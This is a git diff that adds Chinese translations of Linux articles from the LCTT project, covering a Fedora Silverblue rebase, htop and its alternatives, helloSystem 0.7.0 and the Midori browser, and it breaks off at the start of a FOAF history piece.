+-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/announcing-fedora-37/ + +作者:[Matthew Miller][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/mattdm/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/11/f37-release-1-816x345.jpg +[2]: https://getfedora.org +[3]: https://getfedora.org/en/cloud/ +[4]: https://release.gnome.org/43/ +[5]: https://spins.fedoraproject.org/ +[6]: https://labs.fedoraproject.org/ +[7]: https://labs.fedoraproject.org/en/comp-neuro/ +[8]: https://spins.fedoraproject.org/en/lxqt/ +[9]: https://alt.fedoraproject.org/alt/ +[10]: https://docs.fedoraproject.org/en-US/project/#_first +[11]: https://docs.fedoraproject.org/en-US/quick-docs/upgrading/ +[12]: https://docs.fedoraproject.org/en-US/fedora/f37/release-notes/ +[13]: https://ask.fedoraproject.org/ +[14]: https://ask.fedoraproject.org/c/common-issues/141/none diff --git a/published/202211/20221118 How to rebase to Fedora Linux 37 on Silverblue.md b/published/202211/20221118 How to rebase to Fedora Linux 37 on Silverblue.md new file mode 100644 index 0000000000..24833b8085 --- /dev/null +++ b/published/202211/20221118 How to rebase to Fedora Linux 37 on Silverblue.md @@ -0,0 +1,104 @@ +[#]: subject: "How to rebase to Fedora Linux 37 on Silverblue" +[#]: via: "https://fedoramagazine.org/how-to-rebase-to-fedora-linux-37-on-silverblue/" +[#]: author: "Michal Konečný https://fedoramagazine.org/author/zlopez/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15290-1.html" + +如何在 Silverblue 上变基到 Fedora Linux 37 +====== + +![][1] + +Fedora Silverblue 是 [基于 Fedora Linux 构建的桌面操作系统][2]。它非常适合日常使用、开发和基于容器的工作流程。它提供了 [众多优势][3],例如能够在出现任何问题时回滚。如果你想在 Fedora Silverblue 系统上更新或变基到 Fedora Linux 37(这些说明与 Fedora Kinoite 类似),本文将告诉你如何操作。它不仅向你展示了该做什么,而且还向你展示了在发生不可预见的事情时如何恢复。 + +在实际对 Fedora Linux 37 进行变基之前,你应该应用任何待定的更新。在终端中输入以下内容: + +``` +$ rpm-ostree update +``` + +或通过 GNOME 软件Software 应用安装更新并重新启动。 + +### 使用 GNOME 软件应用变基 + +在更新页面上,GNOME 软件Software 应用向你显示有新版本的 Fedora Linux 可用。 + +![Fedora 37 更新可用][4] + +你需要做的第一件事是下载新镜像,因此请点击“下载Download”按钮。这需要一些时间。完成后,你将看到更新已准备好安装。 + +![Fedora 37 更新准备好安装][5] + +点击 “重启并更新Restart & Upgrade” 按钮。此步骤只需要几分钟,最后计算机将重启。重启后,你将获得全新的 Fedora Linux 37 版本。很简单,不是吗? + +### 使用终端变基 + +如果你喜欢在终端中完成所有操作,那么本指南的这一部分适合你。 + +使用终端变基到 Fedora Linux 37 很容易。首先,检查 37 分支是否可用: + +``` +$ ostree remote refs fedora +``` + +你应该在输出中看到以下内容: + +``` +fedora:fedora/37/x86_64/silverblue +``` + +如果你想置顶当前部署(该部署将作为 GRUB 中的选项保留,直到你删除它),你可以通过运行以下命令来完成: + +``` +# 0 is entry position in rpm-ostree status +$ sudo ostree admin pin 0 +``` + +要删除置顶部署,请使用以下命令: + +``` +# 2 is entry position in rpm-ostree status +$ sudo ostree admin pin --unpin 2 +``` + +其中 2 是 rpm-ostree 状态中的位置。 + +接下来,将你的系统重新设置为 Fedora Linux 37 分支。 + +``` +$ rpm-ostree rebase fedora:fedora/37/x86_64/silverblue +``` + +最后,要做的最后一件事是重新启动计算机并引导至 Fedora Linux 37。 + +### 如何回滚 + +如果发生任何不好的事情,例如,如果你根本无法启动到 Fedora Linux 37,这很容易回滚。在引导时选择 GRUB 菜单中的上一个条目(如果你没有看到它,请尝试在引导过程中按 `ESC`),你的系统将以切换到 Fedora Linux 37 之前的先前状态启动。要使此更改永久生效,请使用以下命令: + +``` +$ rpm-ostree rollback +``` + +就是这样。现在你知道如何将 Fedora Silverblue 变基到 Fedora Linux 37 并回滚。那么为什么不在今天做呢? + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/how-to-rebase-to-fedora-linux-37-on-silverblue/ + +作者:[Michal Konečný][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/zlopez/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2021/04/silverblue-rebase-816x345.jpg +[2]: https://docs.fedoraproject.org/en-US/fedora-silverblue/ +[3]: https://fedoramagazine.org/give-fedora-silverblue-a-test-drive/ +[4]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/11/Screenshot-from-2022-11-15-11-11-32-1024x714.png +[5]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/11/Screenshot-from-2022-11-15-11-12-22-1024x714.png \ No newline at end of file diff --git a/published/202211/20221121.3 ⭐️⭐️ 5 htop Alternatives to Enhance Your Linux System Monitoring Experience.md b/published/202211/20221121.3 ⭐️⭐️ 5 htop Alternatives to Enhance Your Linux System Monitoring Experience.md new file mode 100644 index 0000000000..7fdb75fdd0 --- /dev/null +++ b/published/202211/20221121.3 ⭐️⭐️ 5 htop Alternatives to Enhance Your Linux System Monitoring Experience.md @@ -0,0 +1,160 @@ +[#]: subject: "5 htop Alternatives to Enhance Your Linux System Monitoring Experience" +[#]: via: "https://itsfoss.com/htop-alternatives/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15294-1.html" + +5 个 htop 替代:增强你的 Linux 系统监控体验 +====== + +![][0] + +`htop` 是一个流行的命令行工具,可以帮助监测 Linux 上的系统资源和性能。 + +**它比通常默认开箱即用的 top 好**。 + +使用 `htop`,你可以对进程进行过滤和排序,以便更好地了解情况,获得正在运行的进程的树状视图,并在需要时杀死进程。 + +![htop 2022][1] + +我使用 `htop` 而不是其他系统监控工具,因为它可以显示对我来说至关重要的东西,并允许在我需要控制运行中的服务时终止流氓进程或冻结进程。 + +但是,如果你想要其他显示更多信息,或一个看起来不同的东西,有哪些**htop 替代品**呢?让我们来看看。 + +### 1、atop + +![atop 2022][3] + +[atop][4] 可以提供所有运行的进程的细节。你可以得到你需要的所有数据,以了解你系统上的进程情况。 + +它还提供了对资源利用率进行永久记录的能力,以便进行长期分析。系统管理员可能会发现这比其他工具更有用。 + +不幸的是,它并没有为你提供漂亮的输出。因此,如果你想要的话,请继续看下面的其他替代品。 + +#### 如何安装 atop? + +对于基于 Ubuntu/Debian 的发行版,键入: + +``` +sudo apt install atop +``` + +### 2、vtop + +![vtop 2022][5] + +如果你想要一个漂亮的输出和管理进程的基本功能,[vtop][6] 是一个完美的系统监控工具。 + +正如我在其他一些文章中所说,它的输出看起来像终端中的 GUI。你可以使用鼠标,也可以选择禁用它。也可以定制它的主题。 + +它是用 Node.js 构建的。所以,你需要安装额外的包来安装它。 + +不幸的是,这个项目似乎不再积极维护。但是,在写这篇文章的时候,它对我来说还是有用的。 + +#### 如何安装 vtop? + +对于基于 Ubuntu 的发行版,在终端输入以下命令: + +``` +sudo apt install nodejs +sudo apt install npm +sudo npm install -g vtop +``` + +### 3、btop++ + +![btop][7] + +[btop++][8] 是 bashtop 和 bpytop 的一个 C++ 版本。是的,它是这些项目的第三次迭代,由同一个开发者完成。 + +`btop++` 包括完全的鼠标支持,带有一个受游戏启发的菜单系统,可以让你过滤进程、树状视图等等。 + +#### 如何安装 btop++? + +使用官方软件库,你可以很容易地在 Fedora、openSUSE 和 FreeBSD 上安装它。 + +对于 Fedora,你可以键入: + +``` +sudo dnf install btop +``` + +你可以探索它的 [GitHub 页面][8],了解在其他 Linux 发行版上的安装方式。 + +### 4、Glances + +![glances 2022][9] + +Glances 与 `htop` 类似,但有更多的功能。 + +它是一个跨平台的系统监控工具,可以将数据以 CSV 或其他格式导出,用于 InfluxDB、Elasticsearch 等。 + +你也可以利用它的网页用户界面,远程(或在不能访问终端的情况下)查看统计数据。 + +#### 如何安装 Glances? + +对于基于 Ubuntu 的发行版,你可以键入: + +``` +sudo apt install glances +``` + +### 5、nmon + +![nmon 2022 1][10] + +[nmon][11] 是一个令人印象深刻的监测工具,它可以让你控制你想显示的输出内容。 + +你可以提取监测数据(以 CSV 格式导出)并用于进一步分析。它很容易切换统计数据和在不同的视图之间进行切换。 + +默认情况下,它每两秒刷新一次数据,但你可以自定义它,并使用更多的选项来调整你的体验。 + +#### 如何安装 nmon? + +你可以在官方软件库中找到它。对于基于 Ubuntu 的发行版,在终端键入以下内容: + +``` +sudo apt install nmon +``` + +### 总结 + +[top 2022][12] + +`top` 命令工具被植入在你的 Linux 系统中。如果你想要一个基本的监控工具,想要关注系统进程和一些统计信息,`top` 就足够了。 + +我不确定它是否可以算作比 `htop` 更强的体验,这也是 `top` 没有被列入主要列表的原因。 + +正如你在这里看到的,一些监控工具可能很有趣,而且证明比 `htop` 更有洞察力。 + +*你最喜欢的 `htop` 替代品是什么?你认为 `htop` 对你的使用情况来说已经足够了吗?欢迎在下面的评论中让我知道你的想法。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/htop-alternatives/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/11/htop-2022.png +[2]: https://itsfoss.com/linux-system-monitoring-tools/ +[3]: https://itsfoss.com/wp-content/uploads/2022/11/atop-2022.png +[4]: https://www.atoptool.nl/index.php +[5]: https://itsfoss.com/wp-content/uploads/2022/11/vtop-2022.png +[6]: https://github.com/MrRio/vtop +[7]: https://itsfoss.com/wp-content/uploads/2022/11/btop.png +[8]: https://github.com/aristocratos/btop +[9]: https://itsfoss.com/wp-content/uploads/2022/11/glances-2022.png +[10]: https://itsfoss.com/wp-content/uploads/2022/11/nmon-2022-1.png +[11]: https://nmon.sourceforge.net/pmwiki.php?n=Main.HomePage +[12]: https://itsfoss.com/wp-content/uploads/2022/11/top-2022.png +[0]: https://img.linux.net.cn/data/attachment/album/202211/27/113700npcbceb0c0prbqcn.jpg \ No newline at end of file diff --git a/published/202211/20221122.1 ⭐️⭐️ macOS Alternative helloSystem (0.7.0) is moving towards stability.md b/published/202211/20221122.1 ⭐️⭐️ macOS Alternative helloSystem (0.7.0) is moving towards stability.md new file mode 100644 index 0000000000..c4b5a4f9e1 --- /dev/null +++ b/published/202211/20221122.1 ⭐️⭐️ macOS Alternative helloSystem (0.7.0) is moving towards stability.md @@ -0,0 +1,83 @@ +[#]: subject: "macOS Alternative helloSystem (0.7.0) is moving towards stability" +[#]: via: "https://www.debugpoint.com/hellosystem-0-7-0/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15300-1.html" + +macOS 替代品 helloSystem 0.7.0 正在增强稳定性 +====== + +> 随着 helloSystem 0.7.0 的发布和更多内部工作,helloSystem 正在增强稳定性,为 macOS 提供一个“开源”的替代方案。 + +helloSystem 是一个基于 FreeBSD 的轻量级操作系统,旨在为 macOS 提供一个“开源”的替代方案。helloSystem 的主要目标是提供一个易于安装和使用的,真正“开源”的 FreeBSD 替代方案。此外,该团队还专注于从 macOS 转换过来的用户,他们可以舒适的使用类似的桌面,而不会受到系统锁定或 Linux 发行版的复杂性的影响。 + +考虑到 BSD 系统中的硬件支持,开发这样的操作系统需要时间。团队正在努力从零创建一个桌面 - “hellodesktop”。用 C++ 编写的 hellodesktop 和其他改进正在进行中。 + +![helloSystem 0.7.0 桌面][1] + +### helloSystem 0.7.0 + +在 2021 年底,该团队发布了最新一个稳定版本,基于 FreeBSD 13.0 的 [helloSystem 0.7.0][2],并且目前正在将系统移植到 FreeBSD 13.1 和 14 版本。 + +除此之外,一些新功能也可以在系统中工作了;这是一个总览: + +- 由 FreeBSD 13.0 驱动 +- 通过更新的启动时间和压缩的 UFS 文件系统改进的现场介质Live Media +- 将 ISO 镜像大小减少到 800 MB,以适合 CD +- 与 Ventoy USB creator 兼容 +- 支持英伟达 GPU,包括旧型号 +- 在目标分区安装时添加了 exFAT 支持 +- 增加了 KDE 开发的 Falkon 浏览器,附带了下载和安装 Chromium 和 Firefox 的附加菜单项 +- 系统提示音 +- 支持通过笔记本电脑键盘的专用键控制亮度和音量 + +![helloSystem 0.7.0 中的菜单与应用][3] + +除了上述内容之外,helloSystem 0.7.0 中还添加了一个新部分,以让你可以提前了解团队正在开发的功能。未来版本中将到来的一些最酷的功能包括: + +- BSD 中的 Debian 运行时安装程序,以在 BSD 中运行 Linux 应用程序! +- 一个独立的应用程序,用于下载应用程序。 +- 新的更新实用程序 + +此外,0.7.0 中还修复了一些错误并更新了翻译。 + +![安装 Linux 运行时正在开发中][4] + +话虽如此,但它仍然需要大量的时间才能成为易于使用的 BSD 变体和 macOS 的“开源”替代方案。自从我 [首次报道][5] 以来,已经在图形安装程序,桌面应用程序和错误修复方面进行了巨大的更新。我希望它在随着 2023 年移植到 FreeBSD 14 之后,会变得更加主流。 + +### 下载 + +如果你想在真实的硬件上尝试它,请先进行备份然后尝试。此外,helloSystem 现在完全兼容 [VirtualBox][6] 之类的虚拟机。你可以试试。如果你在 VirtualBox 中尝试,请确保将 CPU 更改为 64 位。 + +官方下载链接(包括 helloSystem 0.7.0 稳定版)可在 [此页面][7] 上找到,或者您可以使用下面的链接获取 ISO。 + +> **[下载 helloSystem 0.7.0][8]** + +如果你想为测试、开发或任何其他事情做出贡献,请 [访问 GitHub 页面以获取详细信息][9]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/hellosystem-0-7-0/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/11/helloSystem-0.7.0-Desktop.jpg +[2]: https://github.com/helloSystem/ISO/releases/tag/r0.7.0 +[3]: https://www.debugpoint.com/wp-content/uploads/2022/11/Menu-and-apps-in-helloSystem-0.7.0.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Installing-Linux-Runtime-is-under-development.jpg +[5]: https://www.debugpoint.com/tag/hellosystem +[6]: https://www.debugpoint.com/tag/virtualbox +[7]: https://github.com/helloSystem/ISO/releases +[8]: https://github.com/helloSystem/ISO/releases/download/r0.7.0/hello-0.7.0_0G160-FreeBSD-13.0-amd64.iso +[9]: https://github.com/helloSystem +[10]: https://www.debugpoint.com/folder-colors-in-mate-and-ubuntu/ diff --git a/published/202211/20221125.1 ⭐️ Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback.md b/published/202211/20221125.1 ⭐️ Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback.md new file mode 100644 index 0000000000..2f76cd89de --- /dev/null +++ b/published/202211/20221125.1 ⭐️ Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback.md @@ -0,0 +1,107 @@ +[#]: subject: "Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback" +[#]: via: "https://news.itsfoss.com/midori-astiango/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15304-1.html" + +Midori 浏览器将整合自己的开源搜索引擎强势归来 +====== + +> Midori 网页浏览器还是活跃的,即将到来的更新整合了一个开源搜索引擎! + +![](https://news.itsfoss.com/content/images/size/w2000/2022/11/midori-browser-astiango.jpg) + +几年前,Midori 是一个相当受欢迎的轻量级开源网页浏览器。 + +有些人认为它已经终止了,不知道它是否还在活动。 + +**好消息是:** + +作为一个 **自由开源的** 产品,**Midori 网页浏览器是活跃的(在测试阶段)**、[可用的][1] 。 + +它是一个基于 Chromium 的以 Electron 构建的浏览器,但没有谷歌的东西和隐私保护功能。 + +> 💡 2019 年,该项目被终止,并与 Astian 合并为一个移动浏览器,当时我们并没有立即得到消息该浏览器是否将卷土重来或保持开源。 + +此外,在即将到来的浏览器更新中,他们计划将自己的开源搜索引擎 **AstianGO** 与之整合。🤯 + +这与 Brave(及其搜索引擎)有些类似,但 **Brave Search 不是开源的**。 + +### AstianGO:开源搜索引擎 + +在一个 [Reddit 帖子][3] 中,来自 Astian 的某个人宣布计划在 Midori 网页浏览器中集成一个开源搜索引擎,即 [AstianGO][4],并在下次更新时加入。 + +源代码还没有发布,应该可以通过 [这个 GitLab 页面][5] 获得。 + +![Astiango][6] + +透露的细节不多,但以下是他们提到的内容: + +> 我们已经实现并开发了一个完全开源的搜索引擎,没有使用第三方的 API,它不存储用户的 IP 地址,不存储搜索历史。我们把这个搜索引擎称为 **AstianGO**,这个搜索引擎是用 PHP 开发的,它是自我托管的,尽管它还没有一个集成的更新系统,人们可以把它部署在他们的服务器上。 + +该搜索引擎使用来自谷歌、Qwant 和 Brave Search 的数据来提供结果。你可以看看它的 [FAQ][7] 来了解它的工作原理。 + +其他的浏览器,有些集成了以隐私为重点的搜索引擎,有些承诺提供隐私保护功能。 + +![][8] + +当然,这个搜索引擎看起来是一个正在进行的工作。 + +但是,一个**开源的网页浏览器,带有隐私保护的搜索引擎**(也是开源的),可能对大多数用户来说是带有太多不确定性。 + +![Midori 浏览器][9] + +Midori 的目标是通过这一补充来改变这一状况。 + +### Midori 网页浏览器的状态 + +这听起来不错,**但我认为这并没有充分的计划。** + +有一个 **AppImage** 和一个 **.deb包** 可用。它也可用于其他平台。 + +我试着从它的 [下载页面][10] 安装 Midori 浏览器(.deb 包),但我无法在 Ubuntu 22.04 LTS 上安装它 🚫 + +AppImage 文件可以使用 ✅ + +下载页面没有反映出所有的信息来告知 Linux 发行版的支持情况;它只是提到了 **Debian x64**,并没有完全翻译成英文。 + +![][11] + +所以,**我不确定我们是否可以推荐使用该浏览器**。 + +当然,考虑到它还在测试阶段,你不应该依赖它。你可以浏览它的 [GitLab 页面][12] 来了解更多。 + +### 思考? + +我认为一个新的开源搜索引擎是一件好事。我仍然不确定 Linux 的 Midori 网页浏览器是否可以推荐,我需要通过测试才能在将来推荐它。 + +_是这个开源搜索引擎更让你兴奋,还是浏览器?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/midori-astiango/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://astian.org/en/midori-browser/ +[2]: https://astian.org +[3]: https://www.reddit.com/r/opensource/comments/z44jut/midori_browser_now_with_its_own_search_engine/ +[4]: https://astiango.com +[5]: https://gitlab.com/astiango/astian-search/ +[6]: https://news.itsfoss.com/content/images/2022/11/astiango.jpg +[7]: https://astiango.com/faq.php +[8]: https://news.itsfoss.com/content/images/2022/11/astiango.png +[9]: https://news.itsfoss.com/content/images/2022/11/midori-screenshot.png +[10]: https://astian.org/download/midori-browser-for-debian-x64/ +[11]: https://news.itsfoss.com/content/images/2022/11/midori-download.png +[12]: https://gitlab.com/midori-web/midori-desktop diff --git a/published/20221117.0 ⭐️⭐️ How to Install and Use htop in Linux.md b/published/20221117.0 ⭐️⭐️ How to Install and Use htop in Linux.md new file mode 100644 index 0000000000..1b7052ad60 --- /dev/null +++ b/published/20221117.0 ⭐️⭐️ How to Install and Use htop in Linux.md @@ -0,0 +1,197 @@ +[#]: subject: "How to Install and Use htop in Linux" +[#]: via: "https://itsfoss.com/use-htop/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15625-1.html" + +如何在 Linux 中安装和使用 htop +====== + +Windows 有其著名的任务管理器。Linux 有几个 GUI 和 [命令行的系统监视器][1]。每个 Linux 系统都都有几个这样的监视器。 + +在命令行中,`top` 命令可能是用于快速检查系统资源使用情况的最佳命令。 + +除了查看进程之外,[使用 top 命令][2] 可能会很麻烦。而这就是 `htop` 的优势所在。抛开双关语不谈,`htop` 是一个类似于 `top` 的实用程序,但具有更好的、用户友好的界面。 + +在本指南中,我将向你展示如何在 Linux 中安装和使用 `htop`。 + +### 在 Linux 中安装 htop 实用程序 + +在大多数的 Linux 发行版中你不会找到预安装的 `htop`,但作为最流行的实用程序之一,你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。 + +因此,如果你的机器是基于 Debian/Ubuntu 驱动的,则以下命令应该可以完成你的工作: + +``` +sudo apt install htop +``` + +类似的,如果你使用的是 Fedora,则可以使用以下的命令: + +``` +sudo dnf install htop +``` + +如果你想避免从源代码构建包,还有一个 Snap 包可用: + +``` +sudo snap install htop +``` + +如果你使用的是其它的发行版或者想从源代码构建,你可以随时参考 [htop 的 GitHub 页面][3]以获得详细说明。 + +完成安装后,你只需在终端中使用 `htop` 命令,它将反映系统中所有正在运行的进程: + +``` +htop +``` + +![安装和使用 htop][4] + +在 `htop` 中,每个部分都使用颜色标识,所以让我们看看使用 `htop` 时每种颜色表示什么。 + +##### htop 中不同的颜色和统计信息表示什么 + +让我们从 CPU 使用率栏开始,因为它使用的颜色最缤纷多彩。 + +#### CPU 使用率栏 + +![htop 中的 cpu 进程][5] + +- **绿色**:用户进程消耗的资源。 +- **蓝色**:表示低优先级线程。 +- **红色**:系统(内核)进程使用的 CPU 资源。 +- **水蓝色**:表示虚拟化进程。 + +#### 内存使用率栏 + +![htop 中的内存栏][6] + +- **绿色**:系统进程正在使用的内存。 +- **蓝色**:缓冲页面使用的内存。 +- **橙色**:分配给缓存页面的内存。 + +#### 统计数据 + +![htop 中的任务统计][7] + +- **1.86** 是最后 1 分钟的平均负载。 +- **1.75** 是最后 4 分钟的平均负载。 +- **1.47** 是最后 15 分钟的平均负载。 +- **Tasks: 166** 表示一共有 166 个正在运行的进程。 +- **1249 thr** 表示这 166 个进程由 1249 个线程处理。 +- **1 running** 表示在这 166 个进程中,只有一个进程处于运行中。 +- **The load average** 表示一段时间内的平均系统负载。由于我的系统是 Hexa-Core,所以 6.0 以下的是没问题的。这个数字可能会超过,比如 6.1,所以即将要运行的进程必须等待正在进行的任务完成。 +- **Uptime** 表示你登录后运行的时长。 + +现在,让我们跳到实际的实现部分。 + +### 如何在 Linux 中使用 htop + +由于 `htop` 主要用于检查系统资源,让我们看看如何根据资源消耗对进程进行排序。 + +#### 根据资源消耗对进程进行排序 + +根据 CPU 和内存使用情况对进程进行排序最简单的方法是使用鼠标指针。将光标悬停在 CPU 或内存部分上,然后单击其中任何一个。 + +在那里你会看到一个三角形的图标 `△`,你可以根据它从最高到最低的资源消耗对进程进行排序: + +但是,如果你正在处理远程服务器,你可能无法使用鼠标,在这种情况下,你可以使用键盘快捷键。 + +按 `F6`,它将显示每个可用的选项来对正在进行的进程进行排序: + +![使用键盘快捷键对 htop 中的进程进行排序][8] + +你可以使用方向键选择一个首选的排序选项,然后按回车键,结果应该会如预期的那样反映出来。 + +#### 搜索特定进程 + +如果你想查找一个特定的进程及其资源消耗,你可以按 `F3`,它会给你一个搜索提示,如下所示: + +![在 htop 中搜索进程][9] + +例如,我搜索 `htop`,它用浅橙色高亮显示了进程。你可以按 `F3` 获得下一个结果。 + +#### 过滤正在运行的进程 + +虽然搜索可能会让你获得预期的结果,但我发现使用关键字的过滤过程更加有效,因为它提供了一个过程列表。 + +要过滤进程,你必须按 `F4` 并输入进程的名称。例如,我过滤了与 `gnome-boxes` 相关的进程: + +![在 htop 中过滤进程][10] + +#### 杀死进程 + +一旦找到最耗资源和不必要的进程,你只需按 `F9`,它就会向你显示终止信号: + +![在 htop 中杀死进程][11] + +我无法介绍所有的 15 个终止信号,我们有一个关于 [不同终止信息][12] 的单独指南,因此如果你想了解更多信息,可以参考该指南。 + +但我会建议你首先使用 `SIGTERM`,因为它是终止进程的最有效和友好的方式。 + +#### 自定义 htop + +在这里,我的目标是添加日期和时间并将配色方案更改为单色。 + +首先,按 `F2`,它会出现设置提示,允许用户更改 `htop` 的外观: + +![在 ubuntu 中自定义 htop][13] + +首先,将鼠标悬停在各个 `Colors` 部分并按回车键,这将允许我们更改配色方案。从那里,选择 `Monochromatic` 选项并按回车键保存更改: + +![在 Linux 中更改 htop 颜色][14] + +现在,返回到设置选项,然后使用向左方向键探索可用的指标: + +![探索 htop 中可用的指标][15] + +因为我打算添加日期和时间,所以我必须在找到它的选项后按回车键。 + +在这里,它允许你将日期和时间放置在左右两列中,你可以使用向上和向下的方向键更改列的顺序。 + +所以我将日期和时间指标放在最后一个样式选项中(你可以使用空格键更改样式): + +![在 htop 中添加日期和时间][16] + +完成日期和时间指标的对齐后,按回车键保存更改,然后按 `F10` 关闭设置提示。 + +### 总结 + +在本指南中,我解释了如何在不同的 Linux 发行版中安装 `htop` 实用程序,以及如何使用 `htop` 的一些基本功能来有效的管理系统资源。 + +但是 `htop` 可以做更多的事情,要了解更多信息,你可以随时参考它的手册页,我们有一个详细的指南,告诉你如何 [在 Linux 中充分利用手册页][17]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/use-htop/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-system-monitoring-tools/ +[2]: https://linuxhandbook.com/top-command/ +[3]: https://github.com/htop-dev/htop +[4]: https://itsfoss.com/content/images/wordpress/2022/11/install-and-use-htop.png +[5]: https://itsfoss.com/content/images/wordpress/2022/11/cpu-process-in-htop-1.png +[6]: https://itsfoss.com/content/images/wordpress/2022/11/memory-bar-in-htop.png +[7]: https://itsfoss.com/content/images/wordpress/2022/11/task-statistics-in-htop.png +[8]: https://itsfoss.com/content/images/wordpress/2022/11/sort-processes-in-htop-using-keyboard-shortcut.png +[9]: https://itsfoss.com/content/images/wordpress/2022/11/search-processes-in-htop.png +[10]: https://itsfoss.com/content/images/wordpress/2022/11/filter-processes-in-htop.png +[11]: https://itsfoss.com/content/images/wordpress/2022/11/kill-process-in-htop.png +[12]: https://linuxhandbook.com/termination-signals/ +[13]: https://itsfoss.com/content/images/wordpress/2022/11/customize-htop-in-ubuntu.png +[14]: https://itsfoss.com/content/images/wordpress/2022/11/change-htop-colors-in-linux.png +[15]: https://itsfoss.com/content/images/wordpress/2022/11/explore-available-meters-in-htop.png +[16]: https://itsfoss.com/content/images/wordpress/2022/11/add-date-and-time-htop.png +[17]: https://linuxhandbook.com/man-pages/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/14/162909klvn2plolhwcko2k.jpg \ No newline at end of file diff --git a/published/202212/20200105 Friend of a Friend- The Facebook That Could Have Been.md b/published/202212/20200105 Friend of a Friend- The Facebook That Could Have Been.md new file mode 100644 index 0000000000..b6e24592de --- /dev/null +++ b/published/202212/20200105 Friend of a Friend- The Facebook That Could Have Been.md @@ -0,0 +1,219 @@ +[#]: subject: "Friend of a Friend: The Facebook That Could Have Been" +[#]: via: "https://twobithistory.org/2020/01/05/foaf.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15334-1.html" + +FOAF:本可以成为 Facebook +====== + +![][0] + +> 我把自己的社交网络写进 FOAF 文件,这就是变革之始。—— 互联网之父蒂姆·伯纳斯·李(2007) + +FOAF 标准(朋友的朋友Friend of a Friend),是一个可以追溯到本世纪初的网络标准,目前它基本上已经不再使用了,或者说被人们忘记了,亦或者说已经被取代了 [^1]。它暗示了,假如 Facebook 没有征服世界的话,FOAF 将会定义我们今天所用的社交网络。不过在开始探讨这一网络标准之前,我想先来谈一谈纽约地铁。 + +目前,纽约地铁的唯一管理机构是 大都会运输署Metropolitan Transportation Agency(简称 MTA)。MTA 垄断了纽约市的地铁交通。在纽约乘地铁必须先从 MTA 购买车票,否则属于非法行为。也就是说,MTA 在地铁行业没有任何竞争对手。 + +不过,以前可不是这样。说起来可能有些让人吃惊,纽约市的地铁交通曾由两家企业相互竞争,共同运营。跨区捷运公司Inter-borough Rapid Transit Company(IRT)的势力范围是穿过曼哈顿的线路,布鲁克林-曼哈顿运输股份有限公司Brooklyn-Manhattan Transit 